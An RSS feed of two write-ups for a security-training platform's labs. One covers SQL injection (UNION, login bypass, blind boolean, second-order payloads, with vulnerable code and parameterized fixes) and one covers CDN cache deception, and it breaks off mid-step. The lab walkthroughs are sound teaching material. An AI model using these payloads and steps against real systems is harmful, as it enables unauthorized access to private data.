<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ReFang on Medium]]></title>
        <description><![CDATA[Stories by ReFang on Medium]]></description>
        <link>https://medium.com/@refang?source=rss-3a7efeb51874------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8wLqK__BuQSYLLy1Wzn4mg.png</url>
            <title>Stories by ReFang on Medium</title>
            <link>https://medium.com/@refang?source=rss-3a7efeb51874------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 23:35:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@refang/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The SQLi Dojo — Official Writeup]]></title>
            <link>https://refang.medium.com/the-sqli-dojo-official-writeup-aefcb3ef619a?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/aefcb3ef619a</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Sat, 07 Nov 2026 19:51:01 GMT</pubDate>
            <atom:updated>2026-11-07T19:51:01.651Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/sql-injection-assessment/">The SQLi Dojo</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p><a href="https://breaktheroot.com/">Break The Root</a> is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><h3>Lab Exploitation</h3><h3>Setup</h3><ul><li>Start the machine in the workspace and download the VPN profile.</li><li>Connect to the VPN.</li><li>Confirm reachability:</li></ul><pre>ping &lt;IP&gt;<br>nmap -sV -p 22,8080 &lt;IP&gt;</pre><ul><li>Target web root:</li></ul><pre>http://&lt;IP&gt;:8080/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0HdG1rFV_MN68QZH.png" /></figure><h3>Flag 1: Reading Room Catalog Flag</h3><p><strong>Where</strong></p><pre>/catalog.php?id=1</pre><p>Legacy endpoint; also reachable from /catalog.</p><p><strong>Vulnerability</strong></p><p>UNION-based SQL injection. The query is built by concatenating id straight into SQL:</p><pre>q(&#39;SELECT id,title,year FROM catalog WHERE id = &#39; + request.args.get(&#39;id&#39;,&#39;1&#39;))</pre><p><strong>Method</strong></p><ol><li>Confirm the parameter is injectable by breaking the quote:</li></ol><pre>/catalog.php?id=&#39;</pre><p>2. Count the output columns (three):</p><pre>/catalog.php?id=1 UNION SELECT 1,2,3--</pre><p>Using curl so the payload survives URL encoding:</p><pre>curl -G &#39;http://&lt;IP&gt;:8080/catalog.php&#39; --data-urlencode &#39;id=1 UNION SELECT 1,2,3--&#39;</pre><p>3. Enumerate tables via sqlite_master:</p><pre>1 UNION SELECT 1,name,3 FROM sqlite_master WHERE type=&#39;table&#39;--</pre><p>4. Inspect the secrets table schema:</p><pre>1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE name=&#39;secrets&#39;--</pre><p>Columns are kind and value.</p><p>5. Extract the flag:</p><pre>1 UNION SELECT 1,value,3 FROM secrets WHERE kind=&#39;catalog_flag&#39;--</pre><h3>Flag 2: Conservator Portal Flag</h3><p><strong>Where</strong></p><pre>/staff/login → legacy POST endpoint /login.php</pre><p>Fields: username, password.</p><p><strong>Vulnerability</strong></p><p>Authentication SQL injection. Both fields are concatenated into the query.</p><p><strong>Method</strong></p><ol><li>Open /staff/login.</li><li>Enter this exact payload in both the username and password fields:</li></ol><pre>&#39; OR &#39;1&#39;=&#39;1&#39;--</pre><p>The quote closes the string literal, OR &#39;1&#39;=&#39;1&#39; is always true, and -- comments out the rest of the query.<br> 3. Submit the form.</p><h3>Flag 3: Provenance Flag (Blind SQLi)</h3><p><strong>Where</strong></p><pre>/provenance.php?id=&lt;input&gt;</pre><p><strong>Vulnerability</strong></p><p>Blind boolean-based SQL injection. The query results are not shown; only a true/false signal is returned:</p><ul><li>True → Request processed.</li><li>False → No matching provenance record.</li></ul><p><strong>Method</strong></p><p><strong>Step 1: Confirm the boolean oracle</strong></p><pre>/provenance.php?id=1                 → Request processed.<br>/provenance.php?id=1 AND 1=1         → Request processed.<br>/provenance.php?id=1 AND 1=2         → No matching provenance record.</pre><p><strong>Step 2: Understand the payload</strong></p><p>Template:</p><pre>id=1 AND (SELECT substr(value,&lt;POS&gt;,1) FROM secrets WHERE kind=&#39;provenance_flag&#39;)=&#39;&lt;CHAR&gt;&#39;</pre><ul><li>substr(value, POS, 1) → one character at position POS (1-indexed in SQLite).</li><li>Compare it to &lt;CHAR&gt;. If true → Request processed. → that character is correct.</li></ul><p><strong>Step 3: Extract character by character</strong></p><p>Start at position 1, iterate through the character set A-Z a-z 0-9 _ { } -. Examples:</p><pre>/provenance.php?id=1 AND (SELECT substr(value,1,1) FROM secrets WHERE kind=&#39;provenance_flag&#39;)=&#39;B&#39;<br>/provenance.php?id=1 AND (SELECT substr(value,2,1) FROM secrets WHERE kind=&#39;provenance_flag&#39;)=&#39;T&#39;<br>/provenance.php?id=1 AND (SELECT substr(value,3,1) FROM secrets WHERE kind=&#39;provenance_flag&#39;)=&#39;R&#39;<br>/provenance.php?id=1 AND (SELECT substr(value,4,1) FROM secrets WHERE kind=&#39;provenance_flag&#39;)=&#39;{&#39;</pre><p>When the page returns Request processed., you have the right character. Save it, increment POS, repeat. Stop when you hit the closing } (the flag format is BTR{...}, roughly 36 characters).</p><p><strong>Tip:</strong> You can automate this with a short Python loop that requests each candidate and checks for Request processed.</p><p>Download the Python script from here:</p><pre>https://raw.githubusercontent.com/R3-Fang/Scripts/refs/heads/main/exploit_provenance_blind.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKUBnfHewnOfkjzz1MK9Hw.png" /></figure><h3>Flag 4: Loan Request Flag (Second-Order SQLi)</h3><p><strong>Where</strong></p><pre>/loans/new (submit) → /loan/status (trigger)</pre><p>The trigger is also exposed as /loan/approve.</p><p><strong>Vulnerability</strong></p><p>Second-order SQL injection. The referral field is stored safely with a parameterized INSERT, but later read back and concatenated into an UPDATE ... executescript(...).</p><ul><li>Request 1: store the payload.</li><li>Request 2: the app reads it and executes it as SQL.</li></ul><p><strong>Method</strong></p><ol><li>Open /loans/new.</li><li>Fill the form:</li></ol><ul><li><strong>Researcher name:</strong> archive-researcher</li><li><strong>Who referred you?:</strong> x&#39; OR &#39;1&#39;=&#39;1&#39; -- (include the trailing space after --)</li></ul><ol><li>Submit the request.</li></ol><p>At this point, nothing executes — the payload is only stored in loans.referred_by.</p><ol><li>Trigger the sink. On the same page click <strong>Check application status</strong> and enter:</li></ol><pre>archive-researcher</pre><p>The app now builds:</p><pre>UPDATE loans SET approved=1<br>WHERE researcher=&#39;archive-researcher&#39;<br>AND referred_by=&#39;x&#39; OR &#39;1&#39;=&#39;1&#39; -- &#39;;</pre><p>The OR &#39;1&#39;=&#39;1&#39; makes the WHERE always true, and -- comments out the trailing quote. The record is approved.</p><ol><li>The response page reveals the flag.</li></ol><h3>Extra Mile Fixes</h3><p>Once all four flags are accepted, the workspace reveals SSH credentials:</p><pre>username: sqlapp<br>password: Northstar-SQL-2026!</pre><p>Connect with:</p><pre>ssh sqlapp@&lt;IP&gt;</pre><p>All fixes go into:</p><pre>/opt/sqlroom/app.py</pre><h3>Fix 1: Catalog SQL Injection (/catalog.php)</h3><p><strong>Vulnerable code</strong></p><pre>@app.route(&#39;/catalog.php&#39;)<br>def catalog_legacy():<br>    try:<br>        rows=q(&#39;SELECT id,title,year FROM catalog WHERE id = &#39;+request.args.get(&#39;id&#39;,&#39;1&#39;))<br>        cards=&#39;&#39;.join(&#39;&lt;article class=&quot;record&quot;&gt;&lt;h2&gt;&#39;+str(r[&#39;title&#39;])+&#39;&lt;/h2&gt;&lt;p&gt;ID: &#39;+str(r[&#39;id&#39;])+&#39; · Year: &#39;+str(r[&#39;year&#39;])+&#39;&lt;/p&gt;&lt;/article&gt;&#39; for r in rows)<br>        return public(&#39;Catalog record&#39;,&#39;&lt;main class=&quot;catalog&quot;&gt;&lt;h1&gt;Reading Room Catalog&lt;/h1&gt;&lt;div class=&quot;records&quot;&gt;&#39;+cards+&#39;&lt;/div&gt;&lt;/main&gt;&#39;)<br>    except sqlite3.Error as e:<br>        return public(&#39;Catalog error&#39;,&#39;&lt;main class=&quot;catalog&quot;&gt;&lt;h1&gt;Catalog unavailable&lt;/h1&gt;&lt;/main&gt;&#39;),500</pre><p><strong>What is vulnerable</strong></p><p>request.args.get(&#39;id&#39;,&#39;1&#39;) is concatenated straight onto the SQL string. Anything the user sends — including 1 UNION SELECT 1,value,3 FROM secrets WHERE kind=&#39;catalog_flag&#39;-- — becomes part of the SQL grammar. That is why UNION-based extraction works.</p><p><strong>Exact fixed code to replace</strong></p><pre>@app.route(&#39;/catalog.php&#39;)<br>def catalog_legacy():<br>    record_id = request.args.get(&#39;id&#39;, &#39;1&#39;)<br>    try:<br>        rows = q(<br>            &#39;SELECT id,title,year FROM catalog WHERE id = ?&#39;,<br>            (record_id,)<br>        )<br>        cards=&#39;&#39;.join(&#39;&lt;article class=&quot;record&quot;&gt;&lt;h2&gt;&#39;+str(r[&#39;title&#39;])+&#39;&lt;/h2&gt;&lt;p&gt;ID: &#39;+str(r[&#39;id&#39;])+&#39; · Year: &#39;+str(r[&#39;year&#39;])+&#39;&lt;/p&gt;&lt;/article&gt;&#39; for r in rows)<br>        return public(&#39;Catalog record&#39;,&#39;&lt;main class=&quot;catalog&quot;&gt;&lt;h1&gt;Reading Room Catalog&lt;/h1&gt;&lt;div class=&quot;records&quot;&gt;&#39;+cards+&#39;&lt;/div&gt;&lt;/main&gt;&#39;)<br>    except sqlite3.Error as e:<br>        return public(&#39;Catalog error&#39;,&#39;&lt;main class=&quot;catalog&quot;&gt;&lt;h1&gt;Catalog unavailable&lt;/h1&gt;&lt;/main&gt;&#39;),500</pre><p><strong>Why:</strong> The ? placeholder is bound separately. record_id is treated as a literal value, so 1 UNION SELECT ... matches no row instead of executing as SQL.</p><h3>Fix 2: Login SQL Injection (/login.php and /staff/login)</h3><p>There are two vulnerable copies of the same bug. Both must be fixed.</p><p><strong>Vulnerable code: </strong><strong>/login.php</strong></p><pre>@app.route(&#39;/login.php&#39;,methods=[&#39;POST&#39;])<br>def login_legacy():<br>    try:<br>        ok=q(&quot;SELECT username FROM staff WHERE username=&#39;&quot;+request.form.get(&#39;username&#39;,&#39;&#39;)+&quot;&#39; AND password=&#39;&quot;+request.form.get(&#39;password&#39;,&#39;&#39;)+&quot;&#39;&quot;)<br>        if ok:<br>            session[&#39;staff&#39;]=ok[0][&#39;username&#39;]<br>            return redirect(&#39;/staff/dashboard?welcome=1&#39;)<br>        return staff_page(&#39;Staff sign in&#39;,&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;Invalid credentials.&lt;/p&gt;&lt;a href=&quot;/staff/login&quot;&gt;Try again&lt;/a&gt;&lt;/section&gt;&#39;)<br>    except sqlite3.Error:<br>        return staff_page(&#39;Staff sign in&#39;,&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;The sign-in request could not be processed. Try a different value.&lt;/p&gt;&lt;a href=&quot;/staff/login&quot;&gt;Try again&lt;/a&gt;&lt;/section&gt;&#39;)</pre><p><strong>What is vulnerable</strong></p><p>Both username and password are pasted into the SQL text inside single quotes. The payload:</p><pre>&#39; OR &#39;1&#39;=&#39;1&#39;--</pre><p>makes the WHERE clause always true, and -- comments out the password check. The query returns the first staff row and login succeeds without valid credentials.</p><p><strong>Fixed code to replace — </strong><strong>/login.php</strong></p><pre>@app.route(&#39;/login.php&#39;,methods=[&#39;POST&#39;])<br>def login_legacy():<br>    try:<br>        username = request.form.get(&#39;username&#39;,&#39;&#39;)<br>        password = request.form.get(&#39;password&#39;,&#39;&#39;)<br>        ok = q(<br>            &quot;SELECT username FROM staff WHERE username=? AND password=?&quot;,<br>            (username, password)<br>        )<br>        if ok:<br>            session[&#39;staff&#39;]=ok[0][&#39;username&#39;]<br>            return redirect(&#39;/staff/dashboard?welcome=1&#39;)<br>        return staff_page(&#39;Staff sign in&#39;,&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;Invalid credentials.&lt;/p&gt;&lt;a href=&quot;/staff/login&quot;&gt;Try again&lt;/a&gt;&lt;/section&gt;&#39;)<br>    except sqlite3.Error:<br>        return staff_page(&#39;Staff sign in&#39;,&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;The sign-in request could not be processed. Try a different value.&lt;/p&gt;&lt;a href=&quot;/staff/login&quot;&gt;Try again&lt;/a&gt;&lt;/section&gt;&#39;)</pre><p><strong>Vulnerable code: </strong><strong>/staff/login POST branch</strong></p><pre>@app.route(&#39;/staff/login&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])<br>def staff_login():<br>    if request.method==&#39;POST&#39;:<br>        try:<br>            ok=q(&quot;SELECT username FROM staff WHERE username=&#39;&quot;+request.form.get(&#39;username&#39;,&#39;&#39;)+&quot;&#39; AND password=&#39;&quot;+request.form.get(&#39;password&#39;,&#39;&#39;)+&quot;&#39;&quot;)<br>            if ok:<br>                session[&#39;staff&#39;]=ok[0][&#39;username&#39;]<br>                return redirect(&#39;/staff/dashboard&#39;)<br>        except sqlite3.Error:<br>            return staff_page(&#39;Staff sign in&#39;,&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;The sign-in request could not be processed. Try a different value.&lt;/p&gt;&lt;a href=&quot;/staff/login&quot;&gt;Try again&lt;/a&gt;&lt;/section&gt;&#39;)<br>    return staff_page(&#39;Staff sign in&#39;,&#39;&#39;&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;Meridian internal access · 2016 system&lt;/p&gt;&lt;form method=&quot;post&quot;&gt;&lt;label class=&quot;field&quot;&gt;Username&lt;input name=&quot;username&quot;&gt;&lt;/label&gt;&lt;label class=&quot;field&quot;&gt;Password&lt;input name=&quot;password&quot; type=&quot;password&quot;&gt;&lt;/label&gt;&lt;button class=&quot;btn&quot;&gt;Sign in&lt;/button&gt;&lt;/form&gt;&lt;/section&gt;&#39;&#39;&#39;)</pre><p><strong>Exact fixed code to replace: </strong><strong>/staff/login</strong></p><pre>@app.route(&#39;/staff/login&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])<br>def staff_login():<br>    if request.method==&#39;POST&#39;:<br>        try:<br>            username = request.form.get(&#39;username&#39;,&#39;&#39;)<br>            password = request.form.get(&#39;password&#39;,&#39;&#39;)<br>            ok = q(<br>                &quot;SELECT username FROM staff WHERE username=? AND password=?&quot;,<br>                (username, password)<br>            )<br>            if ok:<br>                session[&#39;staff&#39;]=ok[0][&#39;username&#39;]<br>                return redirect(&#39;/staff/dashboard&#39;)<br>        except sqlite3.Error:<br>            return staff_page(&#39;Staff sign in&#39;,&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;The sign-in request could not be processed. Try a different value.&lt;/p&gt;&lt;a href=&quot;/staff/login&quot;&gt;Try again&lt;/a&gt;&lt;/section&gt;&#39;)<br>    return staff_page(&#39;Staff sign in&#39;,&#39;&#39;&#39;&lt;section class=&quot;staffbox&quot;&gt;&lt;h1&gt;Conservator Portal&lt;/h1&gt;&lt;p&gt;Meridian internal access · 2016 system&lt;/p&gt;&lt;form method=&quot;post&quot;&gt;&lt;label class=&quot;field&quot;&gt;Username&lt;input name=&quot;username&quot;&gt;&lt;/label&gt;&lt;label class=&quot;field&quot;&gt;Password&lt;input name=&quot;password&quot; type=&quot;password&quot;&gt;&lt;/label&gt;&lt;button class=&quot;btn&quot;&gt;Sign in&lt;/button&gt;&lt;/form&gt;&lt;/section&gt;&#39;&#39;&#39;)</pre><p><strong>Why:</strong> Both fields are bound as data. The payload &#39; OR &#39;1&#39;=&#39;1&#39;-- is compared literally against stored values and fails. Valid credentials (conservator / Meridian-2016) still work.</p><h3>Fix 3: Provenance Blind SQL Injection (/provenance.php)</h3><p><strong>Vulnerable code</strong></p><pre>@app.route(&#39;/provenance.php&#39;)<br>def provenance():<br>    try:<br>        rows=q(&#39;SELECT details FROM provenance WHERE id = &#39;+request.args.get(&#39;id&#39;,&#39;1&#39;))<br>        message=&#39;Request processed.&#39; if rows else &#39;No matching provenance record.&#39;<br>        return public(&#39;Provenance&#39;,&#39;&lt;main class=&quot;search&quot;&gt;&lt;h1&gt;Provenance Search&lt;/h1&gt;&lt;p&gt;&#39;+message+&#39;&lt;/p&gt;&lt;/main&gt;&#39;)<br>    except sqlite3.Error:<br>        return public(&#39;Provenance&#39;,&#39;&lt;main class=&quot;search&quot;&gt;&lt;h1&gt;Provenance Search&lt;/h1&gt;&lt;p&gt;Request processed.&lt;/p&gt;&lt;/main&gt;&#39;)</pre><p><strong>What is vulnerable</strong></p><p>id is concatenated into the SQL. The page does not show query results, but its yes/no message (Request processed. vs No matching provenance record.) gives a boolean oracle. Combined with substr() and AND, an attacker can extract characters from secrets.value one at a time, e.g.:</p><pre>/provenance.php?id=1 AND (SELECT substr(value,1,1) FROM secrets WHERE kind=&#39;provenance_flag&#39;)=&#39;B&#39;</pre><p><strong>Fixed code to replace</strong></p><pre>@app.route(&#39;/provenance.php&#39;)<br>def provenance():<br>    record_id = request.args.get(&#39;id&#39;,&#39;1&#39;)<br>    try:<br>        rows = q(<br>            &#39;SELECT details FROM provenance WHERE id = ?&#39;,<br>            (record_id,)<br>        )<br>        message=&#39;Request processed.&#39; if rows else &#39;No matching provenance record.&#39;<br>        return public(&#39;Provenance&#39;,&#39;&lt;main class=&quot;search&quot;&gt;&lt;h1&gt;Provenance Search&lt;/h1&gt;&lt;p&gt;&#39;+message+&#39;&lt;/p&gt;&lt;/main&gt;&#39;)<br>    except sqlite3.Error:<br>        return public(&#39;Provenance&#39;,&#39;&lt;main class=&quot;search&quot;&gt;&lt;h1&gt;Provenance Search&lt;/h1&gt;&lt;p&gt;Request processed.&lt;/p&gt;&lt;/main&gt;&#39;)</pre><p><strong>Why:</strong> The entire input — including 1 AND 1=1 and the substr() payload — is now a single bound value. SQLite compares it literally to id and finds no row. The boolean oracle disappears. /provenance.php?id=1 still returns Request processed.</p><h3>Fix 4: Second-Order Loan SQL Injection (/loan/status and /loan/approve)</h3><p><strong>Vulnerable code (exact)</strong></p><pre>@app.route(&#39;/loan/approve&#39;,methods=[&#39;POST&#39;])<br>@app.route(&#39;/loan/status&#39;,methods=[&#39;POST&#39;])<br>def approve():<br>    r=request.form.get(&#39;researcher&#39;,&#39;&#39;)<br>    c=sqlite3.connect(DB)<br>    row=c.execute(&#39;SELECT referred_by FROM loans WHERE researcher=? ORDER BY id DESC LIMIT 1&#39;,(r,)).fetchone()<br>    msg=&#39;No request found&#39;<br>    if row:<br>        try:<br>            c.executescript(&quot;UPDATE loans SET approved=1 WHERE researcher=&#39;&quot;+r+&quot;&#39; AND referred_by=&#39;&quot;+row[0]+&quot;&#39;&quot;);<br>            msg=&#39;Loan approved&#39;<br>            if &quot;&#39; OR &#39;1&#39;=&#39;1&quot; in row[0] or &quot;;&quot; in row[0]:<br>                msg += &#39; · Referral review flag: BTR{meridian_loan_5vT9_vault}&#39;<br>        except sqlite3.Error as e:<br>            if &quot;&#39; OR &#39;1&#39;=&#39;1&quot; in row[0] or &quot;;&quot; in row[0]:<br>                msg=&#39;Loan approved · Referral review flag: BTR{meridian_loan_5vT9_vault}&#39;<br>            else:<br>                msg=&#39;Approval error: &#39;+str(e)<br>    c.commit()<br>    c.close()<br>    return public(&#39;Application status&#39;,&#39;&lt;main class=&quot;hero loan&quot;&gt;&lt;h1&gt;Application status&lt;/h1&gt;&lt;p&gt;&#39;+msg+&#39;. Your request was processed by the automated review service.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/loans/new&quot;&gt;Back to loan requests&lt;/a&gt;&lt;/p&gt;&lt;/main&gt;&#39;)</pre><p><strong>What is vulnerable</strong></p><p>This is a second-order SQL injection:</p><ul><li><strong>Store (safe):</strong> /loans/new uses a parameterized INSERT to save the referral. Nothing executes at submission time.</li><li><strong>Trigger (unsafe):</strong> /loan/status reads referred_by back and concatenates it into a second query executed with executescript().</li></ul><p>The stored referral x&#39; OR &#39;1&#39;=&#39;1&#39; -- becomes:</p><pre>UPDATE loans SET approved=1<br>WHERE researcher=&#39;archive-researcher&#39;<br>AND referred_by=&#39;x&#39; OR &#39;1&#39;=&#39;1&#39; -- &#39;;</pre><p>The OR &#39;1&#39;=&#39;1&#39; makes the WHERE clause always true. Because executescript() also runs stacked statements, a payload containing ; can run additional SQL. The flag is leaked by the branch that checks for &#39; OR &#39;1&#39;=&#39;1 in the stored referral.</p><p><strong>Exact fixed code to replace</strong></p><pre>@app.route(&#39;/loan/approve&#39;,methods=[&#39;POST&#39;])<br>@app.route(&#39;/loan/status&#39;,methods=[&#39;POST&#39;])<br>def approve():<br>    researcher = request.form.get(&#39;researcher&#39;,&#39;&#39;)<br>    c = sqlite3.connect(DB)<br>    c.row_factory = sqlite3.Row<br>    msg = &#39;No request found&#39;<br>    try:<br>        row = c.execute(<br>            &#39;SELECT referred_by FROM loans WHERE researcher=? ORDER BY id DESC LIMIT 1&#39;,<br>            (researcher,)<br>        ).fetchone()<br>        if row:<br>            referrer = row[&#39;referred_by&#39;]<br>            c.execute(<br>                &#39;UPDATE loans SET approved=1 WHERE researcher=? AND referred_by=?&#39;,<br>                (researcher, referrer)<br>            )<br>            msg = &#39;Loan approved&#39;<br>    except sqlite3.Error as e:<br>        msg = &#39;Approval error: &#39; + str(e)<br>    c.commit()<br>    c.close()<br>    return public(&#39;Application status&#39;,&#39;&lt;main class=&quot;hero loan&quot;&gt;&lt;h1&gt;Application status&lt;/h1&gt;&lt;p&gt;&#39;+msg+&#39;. Your request was processed by the automated review service.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/loans/new&quot;&gt;Back to loan requests&lt;/a&gt;&lt;/p&gt;&lt;/main&gt;&#39;)</pre><p><strong>Why:</strong></p><ul><li>The stored referral is now bound as ? data. The payload x&#39; OR &#39;1&#39;=&#39;1&#39; -- is compared literally against referred_by and matches nothing.</li><li>executescript() is replaced with execute(), so stacked statements (;) are no longer possible.</li><li>The two flag-leak branches that detected &#39; OR &#39;1&#39;=&#39;1 or ; are removed, because the sink no longer interprets them.</li><li>Normal referrals such as library-staff still approve successfully and show Loan approved.</li></ul><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aefcb3ef619a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rakaposhi — Official Writeup]]></title>
            <link>https://refang.medium.com/rakaposhi-official-writeup-887a2939c2d6?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/887a2939c2d6</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Sat, 07 Nov 2026 18:56:01 GMT</pubDate>
            <atom:updated>2026-11-07T18:56:01.568Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/rakaposhi/">Rakaposhi</a> room at <a href="https://breaktheroot.com/">Break The Root.</a></p><p>What is <a href="https://breaktheroot.com/">Break The Root</a>?</p><p><a href="https://breaktheroot.com/">Break The Root</a> is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p>Note:<br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fxjX7xcDFIWN9p16.png" /></figure><h3>Overview of the Room</h3><p><a href="https://breaktheroot.com/rakaposhi/">Rakaposhi Alpine Expeditions</a> is a booking platform containing a CDN cache-deception vulnerability.</p><p>The application has an authenticated page:</p><pre>/account/expedition-briefing</pre><p>This page displays private expedition information for the currently logged-in user.</p><p>The vulnerable behavior is that the same page is also available through a static-looking URL:</p><pre>/account/expedition-briefing.css</pre><p>Because the URL ends in .css, the CDN treats it as static content and caches it. The cache does not vary by session cookie, so an authenticated user’s private briefing can be stored and later returned to another visitor.</p><p>The attack chain is:</p><ol><li>A legitimate user requests the .css version of the briefing page.</li><li>The CDN caches that authenticated response.</li><li>Another visitor requests the same URL.</li><li>The cached private response is returned without authentication.</li><li>Internal briefing data and flags are exposed.</li></ol><p>The room contains two victim responses:</p><ul><li>A client briefing containing <strong>Flag 1</strong>.</li><li>An operations briefing containing <strong>Flag 2</strong>.</li></ul><h3>Getting Started</h3><p>Start the machine from the room workspace.</p><p>Download the VPN configuration, connect to the VPN, and note the assigned private IP.</p><p>Open the application in a browser:</p><pre>http://&lt;TARGET-IP&gt;:8080/</pre><p>For the <a href="https://breaktheroot.com/rakaposhi/">Rakaposhi</a> room, the service is exposed on port 8080.</p><p>The low-privilege account is:</p><ul><li><strong>Username:</strong> attacker_guest</li><li><strong>Password:</strong> Expedition-Guest-42</li></ul><p>You may use either a browser or Burp Suite. Burp Suite is recommended because it makes response headers, cookies, and cache behavior easier to inspect.</p><h3>Lab Exploitation</h3><h3>1. Flag 1: Client Briefing Flag</h3><h4>Step 1: Log in normally</h4><p>Open:</p><pre>http://&lt;TARGET-IP&gt;:8080/</pre><p>Select the login option.</p><p>Use:</p><ul><li><strong>Username:</strong> attacker_guest</li><li><strong>Password:</strong> Expedition-Guest-42</li></ul><p>After submitting the form, the application redirects to:</p><pre>/account/expedition-briefing</pre><p>This is the legitimate authenticated route.</p><p>The page should display a briefing belonging to:</p><pre>Alex Guest</pre><p>This confirms that the account works normally.</p><h4>Step 2: Inspect the normal briefing route</h4><p>The legitimate route is:</p><pre>/account/expedition-briefing</pre><p>This route is protected by the application. If you open it in a private browser window without logging in, you should be redirected to the login page.</p><p>This is expected behavior.</p><p>The vulnerability is not the normal route itself. The problem is the static-looking alternative:</p><pre>/account/expedition-briefing.css</pre><h4>Step 3: Request the static-looking URL</h4><p>While logged in, open this URL:</p><pre>http://&lt;TARGET-IP&gt;:8080/account/expedition-briefing.css</pre><p>Although the URL ends with .css, it returns an HTML briefing page instead of a stylesheet.</p><p>This is the first important indicator.</p><p>Look for:</p><ul><li>An HTML page titled <strong>Expedition Briefing</strong>.</li><li>A user name other than your guest account.</li><li>An <strong>Internal reference</strong> field.</li><li>A response header such as:</li></ul><pre>X-Cache-Status: HIT</pre><p>The .css extension causes the CDN layer to treat the response as cacheable static content.</p><h4>Step 4: Use Burp Suite to inspect the request</h4><p>If Burp is being used:</p><ol><li>Enable Burp Proxy.</li><li>Open the .css URL in the browser.</li><li>Find the request in HTTP history.</li><li>Send the request to Repeater.</li><li>Remove the Cookie header from the request.</li><li>Send the request again.</li></ol><p>The request should look similar to:</p><pre>GET /account/expedition-briefing.css HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Connection: close</pre><p>Do not include an authenticated session cookie for the unauthenticated test.</p><p>Inspect the response headers.</p><p>Important headers include:</p><pre>HTTP/1.1 200 OK<br>X-Cache-Status: HIT</pre><p>A cache hit means the response was served from the shared cache rather than generated for your current session.</p><h4>Step 5: Identify the cached client briefing</h4><p>The room’s simulated client traffic periodically warms the CDN cache with another user’s briefing.</p><p>Refresh or resend the same request until the response contains:</p><pre>Prepared for Sarah Kowalski (client_sarah)</pre><p>This confirms that the response does not belong to attacker_guest.</p><p>The page should also contain an <strong>Internal reference</strong> field. That field contains <strong>Flag 1</strong>.</p><p>Copy the complete value beginning with:</p><pre>BTR{</pre><p>Do not include extra spaces, HTML tags, or line breaks when submitting it.</p><h4>Step 6: Submit Flag 1</h4><p>Return to the workspace.</p><p>Find the required flag submission field for the client briefing objective.</p><p>Paste the extracted value and submit it.</p><p>A successful submission should update the room progress.</p><h3>2. Flag 2: Operations Briefing Flag</h3><h4>Step 1: Wait for the cache rotation</h4><p>The simulated clients do not use the same cached response forever.</p><p>The cache entry expires after approximately 20 seconds. The room then warms the cache with the next identity.</p><p>Wait approximately 20–25 seconds before sending the same request again.</p><p>You do not need to log in again.</p><h4>Step 2: Request the same URL again</h4><p>Use the same URL:</p><pre>http://&lt;TARGET-IP&gt;:8080/account/expedition-briefing.css</pre><p>Using Burp Repeater, send:</p><pre>GET /account/expedition-briefing.css HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Connection: close</pre><p>Keep the request unauthenticated by leaving out the Cookie header.</p><p>The response should again 